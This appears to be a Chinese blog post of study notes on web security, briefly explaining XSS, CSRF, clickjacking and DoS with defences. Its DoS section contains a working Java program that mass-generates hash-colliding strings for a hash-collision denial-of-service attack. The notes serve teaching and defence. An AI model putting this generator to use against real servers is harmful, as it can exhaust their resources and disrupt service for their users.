标签:
1.解释HTTPS的原理和作用
原理:
作用:
2.解释CSS四种定位方式的特点和作用
3.解释XSS的原理
XSS: 跨站脚本攻击
攻击者在留言栏等地方输入一段脚本提交服务器,当用户查看留言栏时这段脚本在用户浏览器执行,完成攻击者想要完成的操作。
防御:在服务器端过滤掉这些脚本,不允许执行,改为文本输出
4.解释CSRF的原理
CSRF:跨站请求伪造攻击
受害者在登录状态时点击攻击者的连接,该表单提交给服务器时会带上cookie,服务器误以为是受害者本人,因而执行请求,完成攻击
防御:用户登录时服务器给网页一个随机值,以后的每次请求网页都会提交这个随机值并与服务器session中的值相比较,只有相同才允许相应的操作
5.点击劫持
在web端就是嵌套一个透明不可见的iframe,让用户在不知情的情况下,点击攻击者想要骗取用户点击的位置。通过z-index设置优先级,opacity设置可见性
防御:if(top.location!=self.location)
top.location=self.location;
6.Dos攻击
拒绝服务攻击,耗尽计算机资源,使计算机无法提供正常服务
例子:http://www.cnblogs.com/rush/archive/2012/02/05/2339037.html
Hash Collision DoS
哈希表在最坏情况下插入n个元素的算法复杂度为n^2,我们可以寻找hash值相同的冲突字符串
算法:
Java实现:
1 import java.util.HashMap;
2 import java.util.Map;
3
4 public class HashCollision {
5 // 90 characters
6 private static String string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?/<>,.~‘{}[]|`!@#$%^&*()_+-=";
7 private static int end = 0;
8 private static int suffixLength = 3;
9 private static int prefixLength = 7;
10
11 public static void main(String[] args) {
12 long startMili = System.currentTimeMillis();
13
14 Map hm = new HashMap();
15 int times = (int) Math.pow(2, 20);
16 for (int i = 0; i < times; i++) {
17 String suffix = getRandomString(suffixLength);
18 hm.put(hashBack(suffix), suffix);
19 }
20 // about 100,500 item
21 // System.out.println(hm.size());
22 int count = 0;
23 for (int i = 0; i < 125000000; i++) {
24 String prefix = getRandomString(prefixLength);
25 String s = hashForth(prefix);
26 String value = (String) hm.get(s);
27 if (value != null) {
28 count++;
29 String result = prefix + value;
30 System.out.println(result);
31 }
32 }
33 System.out.println("total result " + count);
34
35 long endMili = System.currentTimeMillis();
36 System.out.println("cost time " + (endMili - startMili) / 1000 + "s");
37 }
38
39 private static String hashBack(String s) {
40 int hash = end;
41 int length = s.length();
42 for (; length > 0; length -= 1) {
43 hash = (hash ^ s.charAt(length - 1)) * 1041204193;
44 }
45 return Integer.toHexString(hash);// unsigned int in base 16
46 }
47
48 private static String hashForth(String s) {
49 int hash = 5381;
50 int length = s.length();
51 for (int i = 0; i < length; i++) {
52 hash = ((hash << 5) + hash) ^ s.charAt(i);
53 }
54 return Integer.toHexString(hash);// unsigned int in base 16
55 }
56
57 private static String getRandomString(int length) {
58 StringBuilder sb = new StringBuilder();
59 int len = string.length();
60 for (int i = 0; i < length; i++) {
61 sb.append(string.charAt((int) (Math.random() * len)));
62 }
63 return sb.toString();
64 }
65 }
本机上运行,48s找到3100个冲突串。
标签:
原文地址:http://www.cnblogs.com/mfc-itblog/p/5315587.html